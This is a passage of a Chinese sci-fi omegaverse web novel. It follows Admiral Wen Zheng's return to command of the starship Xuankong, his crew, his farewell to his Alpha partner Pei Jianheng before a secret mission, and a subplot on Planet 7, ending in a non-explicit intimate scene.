闻铮一怔。 “悬空号的舰长倒是换了好几位。”穆兰摸了摸鼻子，“在没有战争的时候，为了保持悬空号的机能，军部会委派一些短期任务，每次任务都会轮换舰长，悬空号成为了联邦第一艘轮换制舰长的星舰。” 也成为了联邦星际军部的奇景——铁打的舰员，流水的舰长。 闻铮不是不识好歹的人，他知道艾德莱斯这种举动背后的原因是什么。 轮换制之下无法产生归属感，悬空号依然只有闻铮一位舰长。 艾德莱斯在用他的办法，隐晦地、委婉地、体面地保留属于闻铮的位置。 只要他回来，无论是第三军团还是悬空号，曾经是闻铮的，一切就都还是他的，省了很多麻烦。 闻铮轻轻叹了口气。 ……真是欠了这一家人太多了。 他推开了办公室的门，这间办公室位于第三军团大楼的顶层，三面环绕着最坚硬牢固的玻璃状墙体，让这间办公室的主人可以对整个首都星一览无遗。 办公室里所有的摆设都和他离开之前一模一样，看来机器人只是保持了这里的卫生情况，其他什么都没有动过。 闻铮走到了落地窗前，垂眼静静凝视着这片繁华的、现代的、代表着希望的星球。 穆兰的声音在他身后响起：“闻上将，您的日程权限我已经拿到了，下午有一个军部的欢迎会——” “拒绝掉。”闻铮淡淡道，“都什么时候了，我没心思去参加这种毫无意义的东西。” 穆兰忍不住翘了翘唇角。 果然还是闻上将的风格，一点都没变。 “那要给您把下午的时间空出来吗？还是您有什么其他的安排？” “悬空号。”闻铮轻声说。 穆兰一愣，闻铮转过身来看着他，军帽的帽檐在他脸上打下了一小块阴影，只看得到那苍白的下半脸和瘦削如刀的下颌线。 “召集悬空号所有现役军官，下午两点集合。” …… 马上到了午饭的时间，裴简珩还是没有回复通讯。 闻铮正在恶补他离开的这三年间，联邦军部发生的一些变化和新的规章制度，包括一些组织架构的细微调整，看的有点头晕脑胀，下意识地看了一眼手腕，却发现收件箱里依然空空荡荡。 他微微皱眉，裴简珩和瑞德要聊这么久？ 第149章 抓狗 正好, 穆兰敲了敲门：“闻上将，到午休时间了，我去帮您准备一份午餐？您之前喝得比较多的那款营养液最近上了一些新的口味。” 一位合格的优秀助理, 会牢记自己老板的所有喜好, 哪怕这位老板已经离开三年多。 他对闻铮的心思和喜好一向把握的非常到位，却没想到闻铮罕见地拒绝了他的提议：“不必了, 多谢你，我准备去餐厅。” 穆兰：“……？” 哈？ 怎么回事, 闻上将这么多年都像个机器人一样，对食物、睡眠、娱乐消遣都毫无兴趣, 物欲极低，他们私底下都怀疑闻上将性|冷淡。 哪怕是这样, 第三军团里也不知道多少人暗恋他, 只是从没看到过他对任何Omega、beta或者其他种族的人有过什么异样的亲密和对待。 唯一和他走得近一点的Omega就是自己了, 但也只在工作的范畴里, 似乎没人能真的走进这位上将的生活中。 他这么多年去餐厅的次数屈指可数, 怎么今天一回来就……？ 穆兰觉得不对劲。 这里面有事。 但他面上还是没有表现出来，只是颔首示意自己明白了, 然后把餐厅的动态人流图和今日餐谱都发到了闻铮的通讯上。 闻铮心里有些欣慰，穆兰还是一如既往的细心, 并且这个当年被他从星舰军校里拎出来的小Omega，看上去比三年前沉稳成熟了很多。 穆兰偷眼看他，抿了抿唇，鼓起了好大勇气才有些不好意思地问：“闻上将，我也正好要去餐厅，要不要一起……？” “抱歉。”闻铮道，“下次吧, 这次我要在去餐厅之前先去一个地方。” 穆兰一怔，掩饰掉心里的小小失望：“去哪里？” 话一出口，他就顿觉大事不妙，恨不得给自己一耳光。 你还查上你长官的动向了！大胆！ 不过闻铮倒是没觉得有什么，他微微眯起了眼，眼底的冷光一闪而过，笑了一下：“——第二军团大楼。” 去抓狗。 不知为何，穆兰突然打了一个寒颤。 闻上将这种皮笑肉不笑的表情，每次一出来的时候，结果都不太好。 …… 裴简珩和瑞德上将确实聊的久了一点，但也没有久到废寝忘食的地步。 他还没时间看通讯，即使谈话结束了，他也还在想瑞德上将的命令。 一方面，艾德莱斯和瑞德给他的任务是去北端玛特星系寻找’Annihilation’，而闻铮的任务则是带着第三军团和悬空号奔赴南线战场，他们两个面临着跨越整个联邦的不知多少个光年，谁也不知道分别的时间有多久，几个月？还是几年？ 另一方面，拿到’Annihilation’之后的下一步，也让他十分摸不透。 暗中前往德瓦母星…… 瑞德不需要把话说的太清楚，裴简珩就多少已经明白了。 带着这么一个灭绝级的武器前往敌方大本营，还能做什么？ 他知道闻铮的，他不屑于言行不一，他说了什么，就会做什么。所以他说了要阻止段家，就一定会阻止段家。 他当然不会怀疑闻哥，只是如果闻铮真的和他的想法一样，那这着实是一步太险的棋了…… 他一边坐升降梯下去一楼，一边垂眼思忖着，而梯门打开之后，他察觉到一楼似乎有些过于热闹了。 平时第二军团大楼的一楼哪儿有这么多人，现在怎么乌泱泱的。感觉第二军团军官们一半都在这里了。 ……就算到了饭点，也不至于吧。 裴简珩没当回事，他只是瞥了一眼人群密集的地方，低头看向了手腕——闻哥这么早之前就回了消息，自己还是先回复一下闻哥吧，毕竟是自己先发出了邀约，结果失联了这么久，马上饭点都快过去一半了—— 只是他的消息刚刚编辑到一半，视线范围内就出现了一双漆黑的战靴。 裴简珩似有所感，他的鼻尖已经嗅到了那股冷空气的淡淡味道。 果然，他抬眼看去，他的闻哥正站在他面前，脊背挺直，眉梢微挑。 ……怪不得这么多人。 裴简珩恍然。 都是为了想偷偷摸摸看一眼这位传奇的闻上将来的。 闻铮看着自己的Alpha，他在第二军团里也穿着中校的军服，看来少将的身份并不是在第二军团里。 中校深蓝色的军装把裴简珩宽肩窄腰的好身材显示的一览无遗，闻铮打一眼过去就知道第二军团里有多少Beta和Omega在偷眼觑他。 裴简珩看到自己明显又惊又喜：“闻哥！您怎么来第二军团——” 闻铮眯起眼：“来抓你去第三军团吃饭。” 裴简珩那双湛蓝色的眼睛弯成了月牙，在这个瞬间他选择不去想近在咫尺的分别，只想和闻铮多待一会儿就好。 闻铮和裴简珩光明正大地从第二军团大堂晃悠到了第三军团餐厅，传言如同蹿了火的野草，也一路从第二军团燎到了第三军团。 照理来说，裴简珩毕竟是和闻铮一起回到联邦军部的下属，一起吃个饭也没什么大不了的。但前一天闻铮高调前往艾德莱斯府邸共进晚餐的新闻已经席卷了联邦首都星、乃至主星系的星网话题第二——顺便一提，话题第一是闻铮回归——银发蓝眼的Alpha站在艾德莱斯五星上将身后，有心人都能发现，那应该就是艾德莱斯家一贯不怎么对外示人的小公子。 现在闻铮又如此高调地亲自前来第二军团找裴简珩，政治嗅觉灵敏的高级军官在心里感叹，闻上将这是要彻头彻尾地和艾德莱斯一派死死绑定，一点后路都不留了。 看热闹的底层军官也在心里啧啧，这两位站在一起，看上去就是联邦军部最好的宣传材料，不管是周身气度还是容貌气质，出尘绝艳又势均力敌。 光是看着都下饭。 一个午休时间，流言传得飞快，只是目前因为他们都是Alpha，还没有什么别的暧昧方向，不过看这趋势，再传下去就不一定了。 ——毕竟两位当事人现在正坐在第三军团的餐厅里，顶着所有人或光明正大或鬼鬼祟祟的目光，坦然用餐。 闻铮把裴简珩夹到他碗里的肉又丢了回去。 裴简珩无奈：“闻哥，您那碗里全是蔬菜，稍微也吃点蛋白质啊。” “很腥。”闻铮皱着眉，“第三军团餐厅好难吃，过去三年都没有任何改进，早知道就还是吃营养补充代餐剂了。” 裴简珩：“……” 他眼底流露出了无奈和轻轻浅浅的笑意。 他已经很了解闻铮了，甚至立刻从他看似还是在陈述客观事实的话里面嗅到了一丝任性和撒娇。 于是Alpha笑得温柔又纵容：“那就不要勉强吃了，晚点回家我给您做饭好不好？” 闻铮顿了一下，看似敷衍地嗯了一声。 他们周围一圈桌子没人敢坐，所以也没人听到他们具体说了什么，但闻上将的耳边还是因为被在大庭广众之下诱哄而浮上了一抹飞红。 闻铮轻咳一声，岔开话题：“你和瑞德都聊什么了？你要跟着第二军团去东翼战场吗？” 提到这个话题，裴简珩眼神一暗。 还没等他说什么，餐桌上就被不客气地放下了一份餐盘：“聊什么呢？” 他们循声看去，金发碧眼的俊美青年笑眯眯地看着他们。 闻铮笑了一下：“坐。” 凯利斯也不客气，一屁股就坐到了圆桌的另一边：“我看到新闻了，你们倒是不声不响地搞大事啊。” 搞这么隆重，一帮媒体长枪短炮，五星上将全家出动，不知道还以为艾德莱斯家里娶媳妇。 闻铮没顺着他的话往下说，而是转而问道：“你这两天怎么样，回家里看看了吗？” “回了，老头老太太身体倍儿棒，”凯利斯吃了一块鸡肉，“听说要开战了忧心忡忡，又听说您回来了以后立马把心放肚子里了。” 闻铮：“……叔叔阿姨谬赞了。” 一场战争的胜利从来不是因为某一个人，为之牺牲的无名英雄太多，怎么能都将荣誉加在他一个人身上。 他又问：“你军衔和职务都恢复了吧？” 凯利斯指了指自己肩上的肩穗。 他上校的军衔一直有，只是职务在他随着闻铮离开的时候就卸掉了，回来以后立刻官复原职。 闻铮轻轻叹了口气：“抱歉瞒着你，我离开的真相不能有除了我、艾德莱斯和联邦主席以外的第四个人知道——” “抱歉什么，”凯利斯弯了弯眼睛，毫不在意地摆摆手，“无论到底出于是什么原因，不管我知不知道，再重来多少次，我都会追随你走。” “听到你和军部没有龃龉的时候，我反而松了口气。”凯利斯道，“不然德瓦帝国大战在即，还得处理和军部的关系，那可真是腹背受敌。” 这番话让闻铮心里更是一软。 凯利斯，真的是他最忠诚的下属和朋友，这么多年来，从没让他失望过。 他也希望，自己不会让凯利斯失望。 气氛变得有些严肃，凯利斯轻巧地岔开了话题：“黎晓帮我把艾尼默人和那些幸存的Alpha都安置好了，我在给那些艾尼默人申请政治避难身份，黎晓也通过军部接洽了联邦种族人口局，正在核实这些Alpha的身份，核实后会第一时间联系他们的家人。” 闻铮颔首，这些事情交给凯利斯，他一向很放心。 第150章 晚上家里见 凯利斯试探地问：“那闻哥你的——” 闻铮知道他的意思：“我所有的职务和权限都恢复了, 包括对悬空号的指挥权。” 凯利斯立刻眉开眼笑，他胸口那颗大石直到听见这句话才安然落地。 闻铮把餐盘推到一边：“悬空号上现役军官名单你拿到了吗？” 凯利斯点头，他从手腕上的通讯上拉出一个悬浮屏, 上面是悬空号目前所有在役军官, 五百多号人，光是舰桥上的指挥军官, 算上轮换的三班倒，都有将近四十个人。 “我简单排了一版人员规划, ”凯利斯喝了一口咖啡，顺便在午餐时间和自己的长官汇报工作, “闻哥你可以看一下，除了原有的人员以外, 赫尔担任首席医疗官, 编入了A轮次；黎晓担任轮机长, 编入B轮次, 程——茱莉担任首席科学官, 编入A轮次，裴简珩首席舵手, B轮次——” 闻铮看着悬浮屏，沉吟了一会儿, 给出了反馈：“赫尔、黎晓和茱莉都调整到A轮次，他们互相比较熟悉，在一起配合得会比较好。并且A轮次的副轮机长是诺特上尉吧？他性格热心开朗，可以帮助黎晓更好地适应新角色。” “好的。不过说到黎晓……”凯利斯犹豫了一下，还是说道，“他有和我聊过，他觉得自己的能力目前不能胜任轮机长一职, 又担心直接和你说，会让你觉得他不识好歹。” 闻铮失笑：“小朋友想的倒是很多。” 凯利斯摇头：“一上来就当悬空号的轮机长，他压力很大，所以想让我代为向你提出婉拒轮机长的请求。” “我知道，但压力再大，他也得给我抗住。” 闻铮却微微挑眉，眼底有一丝锐意划过：“上个轮机长理查已经退役了，诺特上尉的性格短板很明显，他不适合晋升为轮机长。但无论如何我都要一个可以信任的新轮机长在A轮次，黎晓是我评估下来最合适的人选，只是还比较稚嫩而已。所以我需要他去这个位置，他也必须快速成长。” “请求驳回。” 凯利斯注视着闻铮那双眼睛，倏尔一笑。 作为他一直以来的下属，凯利斯知道闻铮在当悬空号的舰长和暗影组指挥官的时候是截然不同的两种领导风格。 在暗影组，算上后来加入的裴简珩，他手底下也一共就五个人，所以他和大家的关系会比较近一些，也更好说话，只要分内工作做好，他不会苛求太多。 但当他是悬空号舰长的时候，他身上背着全体舰员的生命，也背着联邦防线的责任，所以他对舰员，尤其是舰桥、轮机和医疗等核心部门军官的要求会非常严苛。 所以悬空号的含金量才会如此之高。 闻铮知道他手下这么多人的长处和短处，也知道该怎么用他们，怎么激发出他们最大的潜力和优势，更不吝于给他们机会和奖励。所以军部私下里都流传，只要能活着，在悬空号上一年升上尉，三年升中校都不是梦。 凯利斯听到闻铮驳回了黎晓想缩回舒适圈的请求，知道曾经的第三军团之刃彻底回来了，他还是他，过去几年了也没有变。 金发大副低头笑了，在悬浮屏上点了几下：“收到。那我把赫尔、黎晓、茱莉都排在A轮次，哦对了，还有裴简珩。” 他看向了在对面安静地听他们讨论公事的舵手，对他眨了眨眼：“你也来A轮次吧，我和闻哥也在A轮次，一家人就是要整整齐齐——” 裴简珩在心里叹了口气，他还不知道要怎么和凯利斯他们说—— 闻铮却先说了：“不用排简珩了。” 凯利斯一愣：“……啊？” 闻铮垂下眼，缓缓道：“他跟着第二军团走。” 凯利斯：“……” 到了此刻，凯利斯这才晃过神来。 这一路的朝夕相处和生死相随让他下意识地以为，这个团队会一直这样稳固下去，一起面对逆境和困境，永远不放弃，永远在绝望中寻找希望和出路。 虽然这四个月也面临了很多危险和困境，但比起真正的战争来说，他们几个围绕在闻铮身边而形成的团队，竟然像个小型的乌托邦，让他内心深处一点都不想脱离。 凯利斯沉默了一会儿，伸手按了几个按键，道：“……那我把凯瑟琳少校升上代理首席舵手。” 闻铮默认了。 午餐的气氛变得有些沉重。 凯利斯清清喉咙，给裴简珩夹了一块自己盘子里的西蓝花：“第二军团这次也在东翼吧？你……我们都活着回来啊。” 裴简珩低头看了看盘子里那块西蓝花，那点感动立刻消失的无影无踪：“你自己不爱吃也不要丢给我。” 凯利斯望天。 闻铮擦了擦唇角，先一步站了起来：“我先回趟办公室，凯利斯，我们晚点直接悬空号前见。” 凯利斯点头。他也收拾了餐盘端起来准备撤。 闻铮垂眼看了看裴简珩餐盘里那块西蓝花，眼底闪过一丝促狭。 “简珩。” 裴简珩闻声看过去，凯利斯也一样。 闻铮平静道：“晚上家里见，我想吃红酒炖牛肉。” 说完，他毫不在意自己丢下了一个多大的炸弹，转身扬长而去。 凯利斯的餐盘打翻在地。 裴简珩瞪大了眼睛看着闻铮的背影，一颗心在胸腔里砰砰砰地加速跳起来！ 闻哥这是—— 凯利斯碧色的眼睛瞳孔地震，声音抖得像踩了电门：“家家家——哪里——什么——你们哪里见？！” 什么啊！ 什么啊！！ 什么啊！！！ 他是幻听了吧！！！！ 裴简珩收回了黏在闻铮背影上的目光，以一种如梦似幻的表情转向了凯利斯，笑容甜得宛如灌了一吨的蜜。 …… 洛河星系，7号星 这颗星球最近陷入了巨大的恐惧和慌乱。 随着奥克斯·奴瓦辛戈的宣战，第三次星际战争即将爆发，而德瓦帝国一直没有动作更是加剧了这种达摩克利斯之剑高悬的恐惧。 艾尼默人害怕曾经的恐怖殖民再次到来，因此占据7号星78%人口的他们，在恐惧的推动下，对人类的愤怒达到顶峰。 凭什么一个人类上将就能如此不负责任地把整个星球拖入战火之中？！ 那他们呢？ 他们就活该共同承担这份责任吗？！ 这样的人类凭什么还占据7号星的话语权！ 艾尼默人开始举行大规模的游行，拒绝人类再担任7号星的话语人，7号星是艾尼默人的母星，早就不应该再被人类指手画脚了！ 只有艾尼默人，才能决定自己种族和星球的命运！ 但艾尼默人失权太久，以至于在高层中没有这么一个人有能力和资本站到那个位置上—— 不对，有一个，只有一个。 暗影组代理指挥官，江悦。 是艾尼默种族中，现在站的最高的、有军衔的，唯一一个艾尼默人。 虽然有人质疑暗影组在整个恐怖|袭击过程中调查的角色，但艾尼默人没得选择。 江悦在竞选星长的时候，给出了一番发自肺腑情真意切的演讲，不管是事情的来龙去脉，还是对7号星的下一步规划，都让人挑不出任何毛病。 而就在江悦登上那个位置后，她下达的第一个政策，却让很多人都摸不到头脑。 ——在整个7号星范围内，收集所有蓟梨草。 几个蓟梨草的主要生产地都被控制了起来，路边、桥下、荒野……所有零零散散生长的蓟梨草都被搜刮一空！ 这种一直在7号星肆意生长无人关注过的野草，不过在短短几天的时间内，几乎看不到了。 所有人都莫名其妙，但这个政令在其他和经济、政治、军事相关的安排下显得尤为无关紧要，过了最开始的热度后也没人讨论了。 又四天后，德瓦帝国的哨兵已经压向了洛河星系，在7号星外虎视眈眈，阻断了7号星大部分向外的通讯信号。 7号星彻底变成了一颗孤星。 所有人都面临着不确定和恐慌，这是根植在所有有机生命体基因内的东西。 而无机质生命，就相对会好很多。 比如罗斯警长。 他每天的工作都一成不变，哪怕7号星的政权从欧赫更迭到段洄，又更迭到如今的江悦，对他的影响也没有那么大。 他上班，下班，感觉不到疲惫，也感觉不到恐慌。 遇事不决，重启电源。 江悦从东四区搬走了，搬到了政府大楼的最高层，林瑜淞成为了她私下里的政|治|顾问，也跟着她一起搬走了。 暗影组只剩下了戴维尔带着一些巡查队，名存实亡。 罗斯警长时不时想起那个曾经笑容很甜又很倔强的小女孩，又想到了通讯上那个穿着修身西装、举止成熟大方的议员、星长，只觉得有机生命体的变化还真是……无常。 他打开了一瓶专供仿生人的营养液，慢慢吸食。 按照设定好的流程，他该进入休眠了，明天早上六点还要到达东四区警局。随着民众的恐慌，7号星上的治安事件频发，警员们忙死，他如果不是仿生人，也早就忙不过来了。 此刻已经是深夜，罗斯警长的家门却被敲响了。 红发仿生人有些迷惑，他家很少有人来，他也不是一个热情好客的仿生人。 在打开门的下一秒，罗斯警长有些宕机。 他有些犹豫：“戴维尔……？” 高大沉默的Alpha像一堵墙一样站在罗斯警长家门口，低低问：“抱歉打扰，罗斯警长，您现在方便吗？”《 》 150-160 第151章 穿越逆境，直抵繁星 罗斯警长侧了侧身, 让戴维尔进来：“我没有安排，你有什么事情吗？” 戴维尔踏进罗斯警长的公寓，这个一向沉默寡言Alpha一时之间也不知从何开口。 罗斯警长给他倒了一杯水, 把类人的一半脸对准他：“有什么我能帮你的？” 戴维尔似乎有些紧张, 他拿起水杯灌了一口，方才慢慢道：“……我联系不上江悦了。” 罗斯警长歪了歪头：“抱歉, 我没有理解你的意思。” “就是……联系不上了。” 戴维尔深吸一口气：“她的通讯我无法接通，她家里我去了也没有人, 已经持续好几天了。” 这很反常，他和江悦曾经做了很久的搭档, 彼此关系很好走得很近，江悦有什么事情、或者有什么不开心都会来找他聊天, 他们甚至有彼此家的访客权限。 就算是江悦从暗影组搬到了政府总部, 从暗影组指挥官做到代理星长, 虽然很忙, 但她也没有疏远过戴维尔, 时不时还会发一些吐槽和近况过来。 直到四天前，一切都戛然而止。 罗斯警长试图将他说的话翻译成自己能理解的直白语言：“你的意思是, 她失联了？” 戴维尔缓缓点头。 “这是不合常理的。”罗斯警长一板一眼道，“昨天她还接受了采访, 影像资料在星网上都能看到。” “并且。”罗斯警长说，“你可以直接去政府大楼拜访她。” “……我不能。” 戴维尔眼神幽深：“我没有预约，所以我上不去总部大楼17楼以上的楼层。” 死循环。 联系不上江悦，就拿不到预约。 没有预约，他就在政府大楼见不到江悦。 罗斯警长沉默了。 他缓缓问：“那你来找我，是希望我帮你什么？” 戴维尔深吸一口气：“政府大楼17楼以上有生物扫描射线，任何未经预约的生物都会触发警报。” 他诚恳地看向罗斯警长：“但仿生人不会。” 红发仿生人歪头, 他的内置系统在思考。 不期然，曾经那个笑容很甜的女孩又出现在了他的芯片大脑里，随之而来的，还有黑发黑眼的指挥官在临别前对他说的话。 “——我不知道还能否活着回来，可以的话，还拜托罗斯警长多照顾一下我的组员们。” 罗斯警长想到了那个一直对他很好的闻指挥官。 …… 下午两点，首都星1号军用太空港 一个身高超过两米，蓝色皮肤，脸上还有红色纹路的摩特人上尉军官正在来回踱步。 他并不是唯一一个，在1号太空港甲板上，几乎所有人脸上都是这种夹杂着欣喜和紧张的神色。 “别紧张，诺特，你这会儿都走了一万步了。” 说话的是一个艾尔文人，容貌苍□□致，说话的声线也让人感觉很放松，很能抚慰紧张的情绪。 诺特就很明显被抚慰了，他深呼吸了三次：“我看到值班轮次表了，我在A轮，闻上将也在A轮 ……我已经好久没有和闻上将在同一轮次了！” 他的眼睛亮晶晶的：“莫尔斯，没想到他刚回来，我就可以和闻上将一起执勤！” 莫尔斯笑着摇头：“你就只关注了这个吗？” 诺特一愣：“啊？不然呢？” 莫尔斯拉出了悬浮屏，指着排班表：“你没发现你多了一个汇报长官吗？” “咦？”诺特凑近一看，有些汗颜，“还真是，太兴奋了我都没注意……黎晓？我好像没有听过这个名字，也是上尉？” “啊？上尉就能当轮机长了？” 莫尔斯也睁大了眼睛，他没有点开仔细看诺特这位新长官的资料，毕竟又不是自己的长官。不过诺特这么一说，他也很好奇，凑过去看了一下，悬浮屏上是一个清秀可爱的人类Omega。 哦哦，人类O……等等，人类Omega？！ 摩特人诺特震惊到变成了橙色：“人类不是只允许Alpha从事轮机工作的吗？这个Omega是怎么回事，系统bug了？” “不是吧，他长得一看就是Omega呀，”莫尔斯歪头，“神奇，Omega轮机长，哇，好好奇！” “……别说我了，”诺特点了一下自己这位搭子的组织架构图，莫尔斯上面也赫然多了一位长官，“你也有了新的汇报长官！” “对的。”莫尔斯点头，“我注意到了，赫尔少校也是艾尔文人，医疗官里差不多七成都是艾尔文人，应该问题不大的。” “倒是来了不少新军官嘛……”诺特摸了摸下巴，希望自己和新长官可以合得来。 虽然他和黎晓都是上尉军衔，但在星舰上，职级高于军衔，所以黎晓还是他的长官。 这时，有几个人也出现在了甲板上，是生面孔，他们都没见过——不对，有一个熟人！ 莫尔斯用胳膊肘碰了碰诺特：“凯利斯大副来了！” 诺特精神一震，连忙看过去，果然看到了金发碧眼的俊美青年，正在和身边的几个生面孔聊着什么——一个高挑的棕发美女，一个艾尔文人，还有一个人类，正是他的新长官黎晓。 诺特咂了咂舌，小声说：“其实我有点怕凯利斯大副，虽然他没有闻上将那么严苛，也经常笑眯眯的，但不知道为什么，我就是有点怕他……” 莫尔斯也小声说：“其实很多人都有这种感觉……” 他们的话还没说完，就听见了悬浮车刹车的声音，一辆上将专用的特殊悬浮车就稳稳驶入了太空港甲板，所有人都精神一紧！ 果然，下一秒，悬浮车的车门打开，一双修长到刺眼的长腿就先迈了出来，随后，他们的闻舰长就从车内踏上了地面。 在一个抬眼间，原本还有些小声喧哗的甲板，寂静无声。 在悬空号的五百多人的团队中，私下里流传最广，也是被最多人认可的一条——悬空号的荣耀，不只是来自于战绩，也来自他们舰长的形象。 三年多过去了，依然还是这么漂亮锐利，浓墨重彩。 闻铮一步一步走向指挥台。 当他在台中间站定，再将目光投以台下的五百多张熟悉的面孔之时，心里说不出有多复杂。 他想过很多种可能。 在他离开之后，原本的舰员可能都会被调离悬空号，各自有各自的发展。或许在新的舰长来了以后，为了自己能站稳脚步，也会对原本的组织架构进行一些人事变动。 但他没想到——是真的没想到，就和程迹此前说过的一样，悬空号的舰员们，都不肯离开这艘星舰，而不管来了多少个舰长，他们都不满意。 他们不知道发生了什么，只知道他们的舰长突然有一天离开了军部，离开了星舰。他们也不知道闻铮还会不会来，但依然还抱着一丝希望。 此时此刻，闻铮站在这里，注视着这些和他出生入死的同伴，心里对他们的感激无可言表。 通讯台上有自动放大声音的功能，闻铮站在上面，轻声道：“首先，我想感谢诸位，在三年的时间里，你们依然坚守在自己的位置上，坚守着悬空号，也坚守着联邦。” “我不是一个擅长表达的人，所以我也没有说过，我以你们每个人为荣。” 他顿了一下，不太想说太多煽情的话。 “新的战争已经爆发，悬空号是联邦最先进的星舰，有着最大的舰体，最强的武器，最快速的相位穿梭技术和最高版本的空间迁跃模式。当然，他也有着所有其他星舰都没有的东西。” “……那就是你们。” “闻铮感谢你们如此深重的信任，我们即将带着联邦无数种族的希望奔赴南边战场。此去危险重重，请抓紧时间和家人朋友珍重告别，我们将于三天后正式离开。” 最后，闻铮看着五百多双眼睛，沉默了半分钟，方才道：“不管在何种险境，将联邦星舰军部的箴言于此刻与诸君共勉。” 穿越逆境，直抵繁星。 “72小时后，悬空号见。”闻铮最后轻声道，“解散。” …… 闻铮踏进家里的时候，整个房间内都飘散着红酒和牛肉的香味。 他低头笑了一下，对把他的话当成圣旨一般执行的裴简珩感到心里一软。 果然，他刚走到客厅，厨房就冒出了一颗银色的头：“闻哥！回来啦，好像比您说的时间晚了二十分钟，幸亏我也做晚了二十分钟，现在刚刚好。” 闻铮把军装外套脱下来，松了松领带：“嗯，我和赫尔聊了一会儿。” “赫尔？”裴简珩立刻紧张起来，“是您的身体哪里不舒服吗？！” 毕竟最开始赫尔说闻铮只有三个月好活，实在是把裴简珩吓死了。 闻铮失笑：“你别紧张，信息素调整了这么久，赫尔都不担心我的身体了。” 赫尔的原话是：你现在的信息素已经很稳定了，比起因为信息素暴乱而死，你还是先担心一下怎么和德瓦人干仗吧。 ……话糙理不糙，倒是也能看出来，4倍S级Alpha的信息素果然不是吃素的，能把他那个破烂身体调理成这样，绝对堪称医学奇迹。 裴简珩一怔：“那您去找他干嘛？” 闻铮却岔开了话题：“悬空号三天后前往南边，你们第二军团什么时候去东翼？” 裴简珩的神色有些暗淡了下来，他让家居机器人把饭菜都拿到了饭桌上，自己去倒了两杯白葡萄酒，深吸一口气后，对闻铮弯了弯眼睛：“喝一杯？”—— 作者有话说：下章xql要先分开一阵各自高光啦，很快就会全须全尾地重逢的，我发誓！[求你了] （以及大家明天早点来哦，懂我意思哦[求你了]) 第152章 最终标记 两个人坐到了餐桌的两边, 闻铮啜了一口白葡萄酒，是品质很好的酒，以至于他怀疑是裴简珩从艾德莱斯的酒柜里偷来的。 裴简珩也喝了一口酒, 似乎想平息一丝紧张。 闻铮敏锐地察觉到了, 他眯了眯眼：“你在紧张什么？” 裴简珩目移。 “我下午问你什么时候跟着第二军团去东翼战场，你没有回答我。”闻铮说, “裴简珩，你有事瞒着我。” 他已经很久没有叫过裴简珩的全名, 这三个字一出来，裴简珩的弦都绷紧了。 闻铮注视着自己的Alpha又猛地灌了一口白葡萄酒, 那架势好像喝的是啤酒一样。 裴简珩这才深吸一口气，坐正开口：“我不去东翼战场, 我接到的命令是去联邦北端。” “联邦北端？”闻铮挑挑拣拣了一块品相极好的牛肉, 漫不经心地问, “联邦北端有什么好去的, 德瓦帝国又不会去那里。” 德瓦帝国的相对位置在联邦的南端, 如果他们率军大规模到了北端，那只能说明联邦已经危在旦夕了。 裴简珩缓缓道：“……玛特星系。” 闻铮的筷子停在了半空。 餐桌上陷入了瞬时的沉默。 闻铮慢慢道：“玛特星系……艾德莱斯说他会派联邦最机密的那个情报处前去那里寻找’Annihilation’的线索。” 裴简珩垂下了眼。 联邦军令要求他不能透露自己的身份, 这是他思来想去，唯一可以在不违抗军令的前提下不隐瞒闻铮的办法。 果然, 闻铮猜到了。 “你居然……” 闻上将有一瞬间的恍惚，很快又正了神色，喃喃：“……你竟然在那里任职……” 而且按照裴简珩超S级Alpha和唯一的基因战士的身份，他在里面的地位也不可能低。 闻铮想到裴简珩此前提过一嘴，他和段洄都在里面任职，各自带领一半的人。 “抱歉。” 裴简珩低声道：“我不是有意隐瞒你，但这确实是军部的命令, 我和段洄的真实身份不能对组织外的人透露。” 他和段洄都是联邦最灵活、最隐秘也最锐利的一把短刀，知道了联邦太多不能对外公布的秘密。一旦身份被人识破，从他们身上能得到的信息太多了。 所以段洄一直是一个对军部不感兴趣的形象，有一搭没一搭地混在军部里不求上进。 所以裴简珩也一直是第二军团的第一个普通中校，五六年过去了一点都没升职。 闻铮眼底划过一丝了然，方才说：“所以你的少将身份，是在这个组织里获得的。” 裴简珩默然点头。 没有任何晋升仪式，也不能对外宣布军衔，这个少将的名头，似乎只是一张毫无意义的激励钞票。 闻铮在心里冷笑，一个不能对外的空头衔换一个基因战士的忠诚，军部还真是打得好算盘。 裴简珩在餐桌上伸手握住闻铮的手，急切道：“所以我——” 闻铮打断了他：“所以你什么时候出发？” 裴简珩没说完的话宛如被掐在了喉咙里，半晌才怔怔道：“……明天早上。” 他们只剩下不到12个小时了。 再见面会是什么时候？ 再见面，他们还都会是现在的他们吗？ 还都会……活着吗？ 闻铮的手一年四季都很凉，不知为何，似乎是裴简珩的错觉，他觉得此刻手里握住的宛如一块冰，冰得他心里发痛。 还没等他再说什么，闻铮却先行抽出了手，只是平静道：“先吃饭吧，快凉了。” 在此刻，闻铮脑子里唯一闪过的想法，是庆幸方才去找了赫尔。 …… 裴简珩原以为，自己隐瞒的真实身份会让闻铮生气，哪怕他不理自己，他都做好了使劲浑身解数去哄的准备。 只是他千分、万分、千万分地没想到，闻铮竟然会如此的……主动和黏人。 吃过饭后，闻铮就把他推到了浴室里，随着热水淋漓而下，一同在裴简珩身上落下的，还有闻铮的吻。 他们在浴室里抵|死|缠|绵，浴缸里的水扑腾了满地。 然后是客厅沙发，茶几，落地窗。 卧室的桌子，地毯，椅子，当然还有床。 裴简珩惊诧于闻铮的主动和言听计从，无论自己提出多么过分的要求，他甚至都默然答应！ 而最让他惊异到无以复加的，是闻铮躺在他身下，揽住他的脖颈，在他耳边轻声说的那句：“……进来，最终标记我。” 一道惊雷劈下。 裴简珩猛地从这场欢愉梦中清醒过来，极力按下刻在Alpha骨血里的征服欲，声音沙哑到颤抖：“不行，闻哥，不行！” 赫尔和他说过，他不能最终标记闻铮。 他那仅剩3%的腺体承载不起。 他把闻铮牢牢地按在身下，不让他再来勾|引自己，他真的怕自己忍不住。 爱入骨血的Omega就这么仰视着自己，呢喃着让他最终标记自己，这对他来说简直是世界上最大的诱惑！ 闻铮苍白的脸上因为过大的欢|愉泛起红|潮，那双漆黑的眼睛直直地看向他，好似能把人吸进去一般，宛如恶魔低语：“你不想要我吗？” 裴简珩攥紧了他瘦薄有力的腰肢，在牙缝里挤出来：“您……您的身体受不了的，别冒险，求您了！” 闻铮忽而一笑：“不会的，我问过赫尔了。” 裴简珩惊愕！ 原来不是床|笫间情|乱|意|迷的一时兴起，闻铮早就决定好了要让自己最终标记他，所以才会在回家之前特意去找赫尔！竟然是去问这个！ 